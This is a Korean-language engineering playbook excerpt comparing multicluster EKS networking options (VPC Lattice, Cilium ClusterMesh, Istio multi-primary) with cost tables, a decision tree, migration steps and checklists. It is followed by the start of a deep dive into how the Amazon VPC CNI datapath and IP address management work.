| 운영편의성 | 클러스터마다 cilium-agent·operator·clustermesh-apiserver를 고객이 운영. **EKS에서 Cilium CNI는 AWS 공식 지원 대상이 아님** — AWS 문서는 "EC2 노드에서 지원되는 CNI는 VPC CNI뿐"이며 대체 CNI는 벤더(Isovalent) 상용 지원 확보를 권고. EKS Auto Mode는 대체 CNI 미지원. VPC CNI chaining 모드는 L7 정책·IPsec 미지원이라 full 교체가 사실상 전제 | EKS alternate CNI 문서, Cilium chaining 문서 |
| 비용 | 라이선스 비용 없음(OSS), AWS 추가 서비스 요금 없음. 대신 L3 연결 비용(peering 또는 TGW $0.05/시간/연결 + $0.02/GB)과 **CNI 교체·운영을 감당할 전담 인력 비용**이 실질 원가. 상용 지원(Isovalent) 계약 시 라이선스 비용 발생 | TGW 요금 페이지 |
**적합한 환경.** 이미 Cilium CNI를 표준으로 운영 중이고(또는 전환을 확정했고), 클러스터 간 트래픽에 순수 TCP/UDP 비중이 크며, 최저 지연이 요구되고, CNI 수준 장애를 감당할 네트워킹 전담 역량이 있는 조직. **Cilium을 쓰지 않는 조직이 멀티클러스터 통신만을 위해 CNI를 교체하는 것은 권장하지 않습니다.**
### 4.3 Istio Multi-Primary — full mesh 유지 · 자체 운영 (+상용 관리 플레인)
**동작 방식.** 각 클러스터가 자체 istiod를 운영하는 multi-primary 토폴로지(2026-07-16 기준 안정 버전 1.30)가 프로덕션 표준입니다. 클러스터 간에는 공통 root CA(cacerts)로 신뢰를 구성하고, remote secret으로 상대 클러스터 API 서버를 watch해 엔드포인트를 동기화하며, 네트워크가 분리된 경우 east-west gateway(NLB)로 트래픽을 중계합니다.
```
Cluster A (VPC-A) Cluster B (VPC-B)
┌────────────────────────────┐ ┌────────────────────────────┐
│ istiod-A ◄── remote secret ┼──── watch ───┼► API Server │
│ │ (상호) │ │ istiod-B │
│ Pod A + Envoy ─► east-west ┼── mTLS ──────┼► east-west ─► Pod B + Envoy│
│ gateway │ (SPIFFE) │ gateway │
└────────────────────────────┘ └────────────────────────────┘
공통 root CA(cacerts) · 클러스터별 istiod 운영 · API 서버 상호 도달성 필요
```
**Ambient 모드(사이드카리스)의 멀티클러스터 성숙도**는 주의가 필요합니다. 단일 클러스터 Ambient는 GA지만, **멀티클러스터 Ambient는 Istio 1.30 기준 Beta**이며 multi-primary + multi-network 조합만 지원합니다(primary-remote·단일 네트워크 미지원). waypoint를 클러스터 간 수동 동기화해야 하고, 원격 네트워크로의 failover 트래픽이 HTTP/2 커넥션 재사용 때문에 고르지 않은 이슈가 공식 문서에 명시되어 있습니다(확인 2026-07-16). 신규 멀티클러스터를 Ambient로 시작하는 것은 PoC 검증을 전제해야 합니다.
**상용 관리 플레인(Tetrate Service Bridge 등)**은 멀티클러스터 Istio에 중앙 거버넌스·멀티테넌시·지원 SLA를 더합니다. 이는 운영 부담 레버 (a) "운영 주체 변경"에 해당하지만, **istiod는 여전히 각 클러스터 안에서 실행**됩니다 — 컨트롤 플레인 장애 도메인과 업그레이드 부담이 고객 클러스터에 남는다는 점에서 관리형(Lattice)과 구조적으로 다릅니다(Tetrate 제품 문서 기준, 세부 아키텍처 문구는 확인 필요).
**4축 평가.**
| 축 | 평가 | 근거 (확인 2026-07-16) |
|----|------|------------------------|
| 기능 | **표현력 최고** — 전 구간 SPIFFE mTLS, 클러스터 간 카나리·가중치·장애 주입, locality failover, ServiceEntry 기반 메시 확장(VM·타 클라우드). 멀티클라우드 full mesh가 가능한 유일한 후보 | Istio multicluster 설치 문서 |
| 안정성 | 성숙한 프로덕션 이력. 단 안정성의 전제가 많음 — 공통 CA 순환, 클러스터 간 API 서버 도달성 유지, east-west gateway 가용성, 버전 skew 관리가 모두 고객 책임. Ambient 멀티클러스터는 Beta | Istio before-you-begin 문서 |
| 운영편의성 | **후보 중 가장 무거움**. 클러스터 수 N에 대해 istiod N개 + remote secret N×(N−1) + east-west gateway N개를 운영. 사이드카 모드는 전 Pod 재시작을 수반하는 데이터 플레인 업그레이드가 주기 이벤트. 상용 지원으로 완화 가능하나 구조는 불변 | 동일 |
| 비용 | 라이선스 비용 없음(OSS). 실질 원가는 사이드카 리소스(Pod당 CPU/메모리 — 정량 수치는 [East-West 트래픽 최적화](../east-west-traffic-best-practice.md) 참조), east-west gateway NLB 비용, 크로스 클러스터 트래픽의 크로스 AZ/peering 요금, 그리고 **전담 운영 인력**. 상용 관리 플레인 채택 시 구독 비용 추가 | — |
**적합한 환경.** 전 구간 워크로드 단위 mTLS(SPIFFE)가 감사 요건으로 명문화되어 있거나, EKS 외부(온프레미스·타 클라우드)를 포함한 full mesh가 필요하거나, 클러스터 간 트래픽 제어의 표현력(장애 주입, 세밀한 재시도 정책)이 사업 요구인 조직. 그리고 이를 감당할 전담 플랫폼 팀이 있는 경우.
### 4.4 참고 후보 — Linkerd Multi-Cluster, Consul Cluster Peering
- **Linkerd multi-cluster**(안정 버전 2.20): service mirroring으로 원격 서비스를 로컬에 복제하며, gateway 모드(게이트웨이 IP만 도달 가능하면 됨)·flat network 모드(Pod 직통)·federated service 모드를 서비스별로 혼용할 수 있습니다. 통합 trust domain으로 전 홉 mTLS를 제공합니다. 다만 2024년 2월부터 오픈소스 프로젝트가 stable 아티팩트 배포를 중단해 **프로덕션 안정판은 Buoyant Enterprise for Linkerd(BEL) 의존**이며, 라이선스 조건 검토가 선행되어야 합니다(세부 조건 확인 필요, 배포 정책은 upstream 릴리스 페이지 확인 2026-07-16).
- **Consul cluster peering**: 독립 Consul 클러스터를 peering token + mesh gateway로 연결하며 Enterprise 라이선스 없이 사용 가능합니다. EKS 지원 문서와 튜토리얼이 존재합니다. Consul을 이미 서비스 디스커버리 표준으로 쓰는 조직 외에는 신규 도입 근거가 약합니다.
두 후보 모두 "고객 운영 컨트롤 플레인 + 사이드카(Linkerd) 또는 에이전트(Consul)" 구조라서, 이 문서의 핵심 질문인 "운영 부담 축소"에 대해 Istio 대비 구조적 우위가 제한적입니다. 이하 비교에서는 참고로만 다룹니다.
### 4.5 밑단 L3 연결 — VPC Peering vs Transit Gateway
메시 계열(Istio 단일 네트워크, Cilium ClusterMesh, Linkerd flat 모드)은 클러스터 간 **L3 도달성이 전제 조건**입니다.
| 항목 | VPC Peering | Transit Gateway |
|------|-------------|-----------------|
| 토폴로지 | 1:1 (전이 라우팅 불가) | 허브-스포크 (N개 VPC 집선) |
| CIDR 중복 | 불가 | 불가 |
| 요금 | 연결 자체 무료, 데이터 전송 요금(단가 확인 필요) | 연결당 $0.05/시간 + 처리량 $0.02/GB (us-east-2 기준, 확인 2026-07-16) |
| 적합 규모 | VPC 2~3개 | VPC 4개 이상, 멀티 계정 |
클러스터가 늘수록 peering은 N² 관리 문제가 되고, TGW는 처리량 요금이 트래픽에 비례합니다. **VPC Lattice는 이 계층 자체가 필요 없다**는 점이 4축 중 운영편의성·비용 평가에 반영되어야 합니다 — 메시를 유지하는 비용에는 메시 자체뿐 아니라 밑단 L3의 구축·요금·CIDR 거버넌스가 포함됩니다.
### 4.6 AWS App Mesh — 신규 도입 금지
:::warning AWS App Mesh EOL — 2026년 9월 30일
AWS App Mesh는 2026년 9월 30일 지원이 종료되며, 2024년 9월 24일부터 신규 온보딩이 차단되어 있습니다(확인 2026-07-16). 이 문서에서 App Mesh는 **마이그레이션 출발점으로만** 등장합니다. EKS 기준 AWS 공식 이전 경로는 VPC Lattice이며, Envoy 기반 L7 기능 호환성이 우선이면 Istio도 일반적인 선택지입니다 — [서비스 메시 비교 가이드](./index.md)의 EOL 안내를 참조합니다.
:::
### 4.7 4축 종합 비교
| 축 | VPC Lattice + GW API Controller | Cilium ClusterMesh | Istio multi-primary |
|----|--------------------------------|--------------------|--------------------|
| **기능** | ◎ HTTP/gRPC·IAM 인가·계정 경계 / △ 순수 TCP 제약·UDP 불가·메시 관측성 없음 | ◎ 전 프로토콜·최저 지연 / △ 클러스터 간 L7 표현력·SPIFFE 상호 인증 불가 | ◎ 전 항목 최고 표현력·멀티클라우드 / △ 없음 (기능만 보면 최강) |
| **안정성** | AWS 관리형 데이터 플레인, 고객 관리 컴포넌트 최소. quota 상한이 실질 리스크 | 커널 datapath 성숙. 단 CNI=메시라 장애 반경 최대 | 프로덕션 이력 최장. 단 안정성 전제(CA·게이트웨이·skew)를 전부 고객이 유지 |
| **운영편의성** | ◎ **컨트롤 플레인이 클러스터 밖에 있는 유일한 후보** | △ CNI 교체 + 3종 컴포넌트 자체 운영, AWS 공식 지원 아님 | ✕ N개 istiod + N×(N−1) remote secret + 게이트웨이. 상용 지원으로 완화만 가능 |
| **비용** | 종량제(시간+GB+요청). 소~중 트래픽에 유리, 대용량은 시뮬레이션 필수. L3 연결 비용 없음 | SW 무료 + L3 연결 요금 + 전담 인력. 대용량 트래픽에 유리 | SW 무료 + 사이드카 리소스 + 게이트웨이·L3 요금 + **최대 인력 비용** |
| **적합한 환경** | HTTP/gRPC 중심, 멀티 계정/VPC, 운영 인력 최소화 | Cilium 기보유, TCP/UDP 필수, 최저 지연, 전담 네트워킹 팀 | 전 구간 SPIFFE mTLS 감사 요건, 멀티클라우드 full mesh, 전담 플랫폼 팀 |
## 5. 의사결정 트리
```mermaid
flowchart TD
start["EKS 멀티클러스터
East-West 통신 필요"] --> q0{"App Mesh 사용 중?"}
q0 -->|예| eol["2026-09-30 EOL —
아래 기준으로 이전 대상 선정"]
q0 -->|아니오| q1
eol --> q1{"클러스터 간 트래픽에
순수 TCP/UDP 비중이 큰가?"}
q1 -->|"예 (DB·브로커·커스텀 프로토콜)"| q2{"CNI가 이미 Cilium
(또는 전환 확정)?"}
q1 -->|"아니오 (HTTP/gRPC 중심)"| q4
q2 -->|예| cilium["Cilium ClusterMesh
+ L3 연결 (peering/TGW)"]
q2 -->|아니오| q3{"전 구간 SPIFFE mTLS
또는 멀티클라우드 요건?"}
q3 -->|예| istio["Istio multi-primary 유지
(운영 부담 크면 상용 지원 검토)"]
q3 -->|아니오| tcp_lattice["TCP는 Lattice TLS passthrough로
수용 가능한지 PoC 검증
(불가 시 Istio 유지)"]
q4{"전 구간 SPIFFE mTLS가
감사 요건으로 명문화?"} -->|예| istio
q4 -->|아니오| q5{"멀티클라우드·온프레미스
포함 full mesh 필요?"}
q5 -->|예| istio
q5 -->|아니오| lattice["VPC Lattice +
AWS Gateway API Controller"]
style lattice fill:#fff3e0,stroke:#e65100
style cilium fill:#e8f5e9,stroke:#2e7d32
style istio fill:#e3f2fd,stroke:#1565c0
```
**권장안 요약:**
- **기본 권장**: HTTP/gRPC 중심 멀티클러스터라면 VPC Lattice + Gateway API Controller로 메시 없이 통신 요건을 충족하고, 컨트롤 플레인 운영을 제거합니다.
- **Istio 유지가 정답인 경우**: 전 구간 SPIFFE mTLS 감사 요건, 멀티클라우드 full mesh, 고급 L7 제어가 사업 요구일 때. 이때 운영 부담은 상용 지원(레버 a)과 Ambient 전환(레버 b, 단 멀티클러스터 Ambient는 Beta — PoC 전제)으로 완화합니다.
- **Cilium ClusterMesh는 조건부**: Cilium CNI 기보유 + TCP/UDP + 전담 역량이 모두 갖춰진 경우에만.
단일 클러스터 내 메시 선택 기준은 [서비스 메시 비교 가이드](./index.md)로 위임합니다.
## 6. 트레이드오프와 주의사항
**VPC Lattice를 선택하기 전에 반드시 확인할 것:**
- **L7 중심 서비스라는 점.** Lattice는 HTTP/HTTPS·gRPC와 TCP(TLS passthrough)를 지원하지만, TLS passthrough에는 제약이 있습니다 — 커스텀 도메인(SNI 매칭) 필수, 기본 규칙만 허용(경로·헤더 라우팅 불가), TCP 타깃 그룹으로만 포워딩, **연결 수명 10분 상한**, auth policy는 익명 주체만 지원(확인 2026-07-16). 장수명 TCP 연결(DB 커넥션 풀, 스트리밍)이 있다면 이 상한이 실질적 차단 요인일 수 있으므로 PoC에서 반드시 검증합니다. UDP는 미지원입니다.
- **전 구간 SPIFFE mTLS 요건이면 재검토.** Lattice의 보안 모델은 "TLS 종단 + IAM 요청 인가"입니다. 감사 요건이 "워크로드 간 X.509 상호 인증 증적"을 문자 그대로 요구하면 Lattice 단독으로는 충족이 어렵습니다. 컴플라이언스 담당과 요건 문구의 해석을 먼저 합의해야 합니다.
- **메시급 관측성 부재.** Kiali 수준의 실시간 토폴로지 그래프·서비스 간 골든 시그널 자동 수집은 없습니다. CloudWatch 메트릭·액세스 로그와 X-Ray 조합으로 대체 가능한지 관측성 요건을 먼저 정의합니다.
- **quota 설계.** 서비스 네트워크는 VPC당 1개만 연결 가능(조정 불가), auth policy 10 KB 상한, 리스너당 규칙 10개(조정 가능) 등 아키텍처에 영향을 주는 한도가 있습니다. 서비스 수·규칙 수 전망을 quota와 대조한 뒤 설계를 확정합니다.
- **요금 시뮬레이션.** 처리량 $0.025/GB는 크로스 AZ 요금($0.01/GB×양방향)보다 높습니다. 트래픽이 매우 큰 소수 경로는 Lattice를 우회(동일 클러스터 배치, 직접 연결)하는 하이브리드 설계가 비용 효율적일 수 있습니다.
**Cilium ClusterMesh를 선택하기 전에:**
- EKS에서 Cilium CNI 자체가 AWS 공식 지원 대상이 아니라는 점을 조직 리스크로 승인받아야 합니다(벤더 상용 지원 계약 권고).
- PodCIDR 비중복은 **사후 교정이 불가능한 설계 결정**입니다. 기존 클러스터의 CIDR이 겹치면 클러스터 재구축이 전제됩니다.
- SPIFFE 상호 인증(Beta)이 ClusterMesh와 호환되지 않으므로, "메시급 워크로드 신원"을 기대하고 도입하면 안 됩니다.
**Istio를 유지하기로 했다면:**
- 운영 부담의 근본 원인(사이드카 수명주기, CA 순환, 버전 skew)은 유지 결정으로 사라지지 않습니다. Ambient 전환(단일 클러스터부터), revision 기반 canary 업그레이드, 상용 지원 계약 중 최소 하나의 완화책을 함께 결정해야 합니다.
- 멀티클러스터 Ambient는 Beta(1.30 기준)이므로 프로덕션 전환 전 PoC로 waypoint 동기화·failover 동작을 검증합니다.
## 7. Istio에서 VPC Lattice로의 마이그레이션 단계
선택안이 Lattice인 경우의 전환 경로입니다. 핵심 원칙은 **빅뱅 전환 금지, 서비스 단위 병행 운영**입니다.
1. **준비 (병행 기반 구축)**: Gateway API Controller 설치, 서비스 네트워크 생성·VPC 연결, 클러스터 보안 그룹에 Lattice prefix list 허용. 기존 Istio 트래픽에는 영향이 없습니다.
2. **파일럿 서비스 선정**: HTTP/gRPC이고, 다운스트림이 적고, SLO 여유가 있는 서비스 1~2개. `ServiceExport`/`ServiceImport`와 `HTTPRoute`를 구성하고 IAM auth policy(Pod Identity 세션 태그 조건)를 적용합니다.
3. **이중 경로 검증**: 파일럿 서비스를 Istio 경로와 Lattice 경로 양쪽으로 노출하고, 클라이언트 일부만 Lattice DNS로 전환해 지연·에러율·인가 동작을 비교합니다([부록 B](#부록-b-poc-체크리스트) 체크리스트 사용).
4. **서비스 단위 점진 전환**: 검증된 패턴을 서비스 그룹별로 반복합니다. 호출 관계 그래프에서 리프(다운스트림 없는 서비스)부터 전환하면 롤백 반경이 최소화됩니다.
5. **Istio 축소**: 클러스터 간 호출이 모두 Lattice로 이전되면 east-west gateway·remote secret을 제거합니다. 클러스터 내부 mTLS·L7 정책이 여전히 필요하면 단일 클러스터 메시(Ambient 등)로 축소 운영하고, 불필요하면 메시를 완전히 제거합니다 — 이 단계에서 운영 부담 레버 (b) "아키텍처 단순화"가 실현됩니다.
6. **롤백 계획 상시 유지**: 전환 단계마다 DNS 전환만으로 Istio 경로로 복귀할 수 있도록, Istio 리소스는 해당 서비스 그룹의 전환 안정화(권장 2주) 전까지 삭제하지 않습니다.
## 8. 참고 자료
아래 링크는 모두 2026-07-16에 원문을 확인했습니다.
### AWS 공식 문서
- [Amazon EKS와 VPC Lattice 통합](https://docs.aws.amazon.com/eks/latest/userguide/integration-vpc-lattice.html) — EKS 사용자 가이드의 Lattice 통합 개요
- [AWS Gateway API Controller](https://www.gateway-api-controller.eks.aws.dev/) — 배포 가이드, ServiceExport/ServiceImport·IAMAuthPolicy CRD 레퍼런스 (v2.1.2)
- [Application networking with Amazon VPC Lattice and Amazon EKS](https://aws.amazon.com/blogs/containers/application-networking-with-amazon-vpc-lattice-and-amazon-eks/) — 멀티 VPC·CIDR 중복 환경 데모, link-local 데이터 패스
- [Secure cross-cluster communication with VPC Lattice and Pod Identity IAM session tags](https://aws.amazon.com/blogs/containers/secure-cross-cluster-communication-in-eks-with-vpc-lattice-and-pod-identity-iam-session-tags/) — 세션 태그 기반 ABAC 인가, SigV4 서명 옵션
- [VPC Lattice FAQ](https://aws.amazon.com/vpc/lattice/faqs/) · [TLS listeners](https://docs.aws.amazon.com/vpc-lattice/latest/ug/tls-listeners.html) · [Quotas](https://docs.aws.amazon.com/vpc-lattice/latest/ug/quotas.html) · [요금](https://aws.amazon.com/vpc/lattice/pricing/)
- [Migrating from AWS App Mesh to Amazon VPC Lattice](https://aws.amazon.com/blogs/containers/migrating-from-aws-app-mesh-to-amazon-vpc-lattice/) — App Mesh EOL·신규 온보딩 차단 일정, 공식 이전 경로
- [Alternate CNI plugins for EKS](https://docs.aws.amazon.com/eks/latest/userguide/alternate-cni-plugins.html) — 대체 CNI 지원 정책
- [VPC Peering basics](https://docs.aws.amazon.com/vpc/latest/peering/vpc-peering-basics.html) · [Transit Gateway 요금](https://aws.amazon.com/transit-gateway/pricing/)
### Upstream 공식 문서
- [Istio Multicluster Installation](https://istio.io/latest/docs/setup/install/multicluster/) · [Before you begin](https://istio.io/latest/docs/setup/install/multicluster/before-you-begin/) — multi-primary/primary-remote 토폴로지, 공통 CA·east-west gateway 요건
- [Istio Ambient Multicluster](https://istio.io/latest/docs/ambient/install/multicluster/) — Beta 상태, 지원 토폴로지와 제약 (1.30 기준)
- [Cilium ClusterMesh](https://docs.cilium.io/en/stable/network/clustermesh/clustermesh/) · [Global Services](https://docs.cilium.io/en/stable/network/clustermesh/services/) — 전제 조건, 클러스터 한도, global service 어노테이션
- [Cilium Mutual Authentication](https://docs.cilium.io/en/stable/network/servicemesh/mutual-authentication/mutual-authentication/) — Beta 상태, ClusterMesh 비호환 명시
- [Cilium AWS VPC CNI chaining](https://docs.cilium.io/en/stable/installation/cni-chaining-aws-cni/) — chaining 모드 제약
- [Linkerd Multi-cluster](https://linkerd.io/2-edge/features/multicluster/) · [Releases](https://linkerd.io/releases/) — 3가지 연결 모드, 배포 정책
- [Consul Cluster Peering](https://developer.hashicorp.com/consul/docs/east-west/cluster-peering)
- [Gateway API GAMMA](https://gateway-api.sigs.k8s.io/concepts/gamma/) · [Implementations](https://gateway-api.sigs.k8s.io/implementations/) — 메시 프로파일 GA 및 구현체 준수 현황
### 관련 문서 (내부)
- [서비스 메시 비교 가이드](./index.md) — 단일 클러스터 관점의 메시 솔루션 선택
- [GAMMA Initiative](./gamma-initiative.md) — Gateway API 기반 메시 표준화
- [East-West 트래픽 최적화](../east-west-traffic-best-practice.md) — 도입 후 지연·크로스 AZ 비용 최적화, Istio 사이드카 오버헤드 정량 수치
- [Gateway API 도입 가이드](../gateway-api-adoption-guide/index.md) — North-South 트래픽 관리
## 부록 A. 요건 확인 질문 목록
아키텍처 확정 전에 답해야 하는 질문입니다. 워크숍 1회(2시간)로 확인하는 것을 권장합니다.
**프로토콜·트래픽**
1. 클러스터 경계를 넘는 호출 경로를 전수 나열했는가? 각 경로의 프로토콜(HTTP/1.1, HTTP/2, gRPC, TCP, UDP)은?
2. 장수명 TCP 연결(DB, 메시지 브로커, WebSocket/스트리밍)이 클러스터 경계를 넘는가? 연결 수명 분포는?
3. 경로별 트래픽 볼륨(GB/월, RPS 피크)은? 상위 3개 경로가 전체의 몇 %인가?
**경계·토폴로지**
4. 클러스터들이 속한 VPC·계정 수는? CIDR 중복이 있는가?
5. 향후 24개월 내 클러스터 추가 계획(수, 리전, 클라우드)은? 온프레미스·타 클라우드 연결 요구가 있는가?
**보안·컴플라이언스**
6. 적용 규제(ISMS-P, PCI-DSS 등)의 암호화·상호 인증 요구 문구는 정확히 무엇인가? "워크로드 간 X.509 mTLS"를 문자 그대로 요구하는가, "전송 암호화 + 접근 통제"로 충족되는가?
7. 서비스 간 인가의 최소 단위는? (클러스터 / 네임스페이스 / 서비스 / Pod)
8. 인증서·키 관리 주체에 대한 정책 제약이 있는가? (자체 CA 필수 여부, ACM 사용 가능 여부)
**관측성·운영**
9. 현재 Kiali·Jaeger에서 실제로 사용 중인 화면·알람은 무엇인가? (전환 후 동등물이 필요한 범위 확정)
10. 메시/네트워킹 전담 인력은 몇 명이며, Istio 업그레이드 1회에 현재 몇 인일이 드는가?
11. 현재 Istio에서 실제 사용 중인 기능 목록은? (mTLS만? VirtualService 라우팅? 장애 주입? — 미사용 기능은 대체 불요)
## 부록 B. PoC 체크리스트
파일럿 서비스 전환([7장](#7-istio에서-vpc-lattice로의-마이그레이션-단계) 2~3단계)에서 검증할 항목입니다. Lattice 기준으로 작성했으며, 다른 후보도 동일 골격을 사용합니다.
**기능 검증**
- [ ] 클러스터 A → B HTTP/gRPC 호출 성공 (ServiceExport/Import 경유)
- [ ] 가중치 라우팅(카나리 10/90) 동작 및 전환 시간 측정
- [ ] 커스텀 도메인 + ACM 인증서로 TLS 호출 성공
- [ ] IAM auth policy로 네임스페이스 단위 차단/허용 동작 (Pod Identity 세션 태그 조건)
- [ ] 비인가 클러스터/네임스페이스에서의 호출이 거부되는지 확인
- [ ] (해당 시) TCP 워크로드: TLS passthrough 경유 연결 + 10분 수명 상한에서의 재연결 동작
**안정성 검증**
- [ ] 타깃 Pod 전체 롤링 재시작 중 호출 성공률 (Pod churn 내성)
- [ ] 한쪽 클러스터의 컨트롤러 중단 시 기존 데이터 플레인 트래픽 지속 여부
- [ ] AZ 장애 시뮬레이션(한 AZ 타깃 제거) 시 라우팅 동작
**성능 검증**
- [ ] p50/p99 지연: 기존 Istio 경로 vs 신규 경로 동일 조건 비교
- [ ] 피크 RPS에서 quota(AZ당 10,000 RPS 기본) 여유 확인
- [ ] SigV4 서명 방식(SDK vs 서명 프록시)별 오버헤드 비교
**운영·비용 검증**
- [ ] CloudWatch 메트릭·액세스 로그로 기존 대시보드·알람 동등물 구성 가능 여부
- [ ] 파일럿 1개월 실측 트래픽 기준 요금 추정 → 전체 전환 시 월 비용 외삽
- [ ] 롤백 리허설: DNS 전환만으로 Istio 경로 복귀 소요 시간 측정
---
# VPC CNI 동작 원리: 데이터패스·IPAM·NetworkPolicy
> Amazon VPC CNI의 내부 동작을 세 축으로 해부합니다. L3 routed mode 데이터패스(veth·ip rule·169.254.1.1), ipamd의 warm pool·Prefix Delegation·IP 쿨다운 알고리즘, eBPF 기반 NetworkPolicy 아키텍처
Source: https://devfloor9.github.io/engineering-playbook/docs/eks-best-practices/networking-performance/vpc-cni-deep-dive
Category: EKS Best Practices
Last updated: 2026-08-04
Author: YoungJoon Jeong
Tags: eks, vpc-cni, networking, ipam, ebpf
## 개요
Amazon VPC CNI(amazon-vpc-cni-k8s)는 EKS의 기본 네트워크 플러그인입니다. Calico VXLAN이나 Cilium 오버레이 모드와 달리 캡슐화 없이 Pod에 VPC의 실제 IP 주소를 직접 할당하고, 노드 내부에서는 L3 라우팅만으로 트래픽을 전달합니다. 이 문서는 VPC CNI의 내부 동작을 세 축으로 나누어 설명합니다.
- **데이터패스** — Pod의 패킷이 veth pair와 라우팅 규칙을 거쳐 ENI로 나가는 경로
- **IPAM** — ipamd 데몬이 ENI와 IP 주소 풀(warm pool)을 관리하는 알고리즘
- **NetworkPolicy** — 컨트롤러와 노드 에이전트(eBPF)로 분리된 정책 적용 구조
트러블슈팅 절차(kubectl 명령 중심)는 [EKS 네트워킹 디버깅](../operations-reliability/eks-debugging/networking.md)에서 다루며, 이 문서는 그 절차가 왜 그렇게 구성되는지에 해당하는 동작 원리에 집중합니다.
## 배경: 두 개의 프로세스, 하나의 플러그인
VPC CNI는 단일 바이너리가 아니라 역할이 다른 두 컴포넌트로 구성됩니다.
| 컴포넌트 | 실행 형태 | 역할 |
|---|---|---|
| CNI 플러그인 바이너리 (`aws-cni`) | kubelet이 Pod 생성/삭제 시마다 호출 | veth pair 생성, 라우팅 규칙 설정 등 네트워크 배선 |
| ipamd (`aws-node` DaemonSet) | 노드당 상주 데몬 | ENI attach/detach, 보조 IP 풀 관리, EC2 API 호출 |
CNI 바이너리는 Pod가 뜰 때 로컬 ipamd에 gRPC로 IP 할당을 요청하고, ipamd는 미리 확보해 둔 warm pool에서 즉시 IP를 반환합니다. EC2 API 호출(ENI 생성·IP 할당)은 Pod 생성 경로에서 분리되어 백그라운드에서 비동기로 수행됩니다. Pod 기동 지연이 EC2 API 지연에 좌우되지 않는 이유가 이 분리 구조입니다.
노드가 수용 가능한 Pod 수는 인스턴스 타입의 ENI 수와 ENI당 보조 IP 수로 결정됩니다. 예를 들어 ENI 4개 × ENI당 IP 15개인 인스턴스는 기본 모드에서 최대 `4 × (15 - 1) + 2 = 58`개의 Pod IP를 제공합니다(각 ENI의 첫 IP는 노드 자신이 사용).
## 아키텍처: L3 Routed Mode 데이터패스
VPC CNI는 노드 내부에 L2 브리지를 만들지 않습니다. Pod마다 veth pair를 만들고 정적 라우팅과 정책 라우팅(`ip rule`)만으로 패킷을 전달하는 L3 routed mode를 사용합니다.
```mermaid
flowchart LR
subgraph POD["Pod 네트워크 네임스페이스"]
APP[애플리케이션] --> ETH0["eth0
(Pod IP: 10.0.1.20/32)"]
ETH0 -.->|"default via 169.254.1.1
static ARP (PERM)"| GW["169.254.1.1
(더미 게이트웨이)"]
end
subgraph HOST["호스트 네트워크 네임스페이스"]
VETH["eni3a52ce78d95
(host veth)"]
RULE["ip rule
(정책 라우팅)"]
RT_MAIN["main 라우팅 테이블
(10.0.1.20 → veth)"]
RT_ENI["ENI별 라우팅 테이블
(default → 서브넷 GW)"]
ENI1["ENI 0 (primary)"]
ENI2["ENI 1 (secondary)"]
end
ETH0 ===|veth pair| VETH
VETH --> RULE
RULE -->|ingress: main| RT_MAIN
RULE -->|egress: ENI 테이블| RT_ENI
RT_ENI --> ENI2
ENI1 & ENI2 --> VPC["VPC 네트워크"]
```
### Pod 내부: 더미 게이트웨이와 정적 ARP
Pod 네트워크 네임스페이스의 라우팅 테이블에는 링크로컬 주소 `169.254.1.1`을 기본 게이트웨이로 하는 경로가 설정됩니다.
```bash
# Pod 내부에서 확인한 라우팅 테이블
default via 169.254.1.1 dev eth0
169.254.1.1 dev eth0
# 정적 ARP 엔트리 (PERM 플래그)
? (169.254.1.1) at 2a:09:74:cd:c4:62 [ether] PERM on eth0
```
`169.254.1.1`은 실재하는 게이트웨이가 아닙니다. CNI 플러그인이 host 쪽 veth의 MAC 주소를 가리키는 정적 ARP 엔트리를 미리 심어 두므로, Pod는 ARP 질의 없이 모든 아웃바운드 패킷을 veth pair 너머 호스트로 밀어냅니다. 이 설계의 결과로 다음이 성립합니다.
- Pod 간 통신에서 ARP 브로드캐스트가 발생하지 않음 — 모든 전달 결정은 호스트의 L3 라우팅에서 수행
- 같은 노드의 Pod 간 트래픽도 항상 호스트 라우팅 테이블을 경유
- L2 도메인이 없으므로 브리지 기반 CNI에서 발생하는 MAC 학습·플러딩 문제가 원천적으로 없음
### 호스트 쪽: veth 이름 규칙과 이중 라우팅
호스트 쪽 veth 인터페이스 이름은 `eni` 접두사(기본값, `AWS_VPC_K8S_CNI_VETHPREFIX`로 변경 가능) 뒤에 네트워크 이름·Pod 식별자·인터페이스 이름을 SHA-1 해시한 값의 앞 11자를 붙여 결정적으로 생성됩니다(`networkutils.GeneratePodHostVethName`). 즉 `eni3a52ce78d95` 같은 이름에서 Pod를 역추적하려면 해시 입력을 재계산하거나 `ip addr` 라우팅 엔트리와 대조합니다.
트래픽 방향에 따라 서로 다른 라우팅 테이블이 사용됩니다.
| 방향 | 사용 테이블 | 동작 |
|---|---|---|
| VPC → Pod (ingress) | main 테이블 | `Pod IP/32 → host veth` 호스트 라우트로 전달 |
| Pod → VPC (egress) | ENI별 테이블 | `ip rule`이 Pod IP를 소스 기준으로 매칭해 해당 IP가 속한 ENI의 라우팅 테이블로 보내고, 그 테이블의 기본 경로가 서브넷 게이트웨이를 가리킴 |
egress에 ENI별 테이블이 필요한 이유는 보조 ENI에 할당된 IP의 응답 패킷이 반드시 같은 ENI로 나가야 하기 때문입니다. VPC는 소스 IP와 ENI의 매핑을 검증하므로, primary ENI의 기본 경로로 내보내면 스푸핑으로 간주되어 폐기됩니다.
## Deep Dive: IPAM — ipamd의 풀 관리 알고리즘
### Warm Pool: 3개의 타깃 변수
ipamd는 Pod 생성 요청에 즉시 응답하기 위해 여유 IP를 미리 확보(warm pool)합니다. 풀 크기는 세 개의 절대치 타깃 변수 조합으로 결정됩니다.
| 변수 | 기본값 | 의미 |
|---|---|---|
| `WARM_ENI_TARGET` | `1` | ENI 1개 분량의 전체 IP를 여유분으로 유지. `WARM_IP_TARGET` 설정 시 무시됨 |
| `WARM_IP_TARGET` | 없음 | 여유 IP 개수를 직접 지정. `WARM_ENI_TARGET`을 override |
| `MINIMUM_IP_TARGET` | 없음 | 노드가 항상 보유할 IP의 하한(floor). 기동 직후 다수 Pod 스케줄링 대비 pre-scaling 용도 |
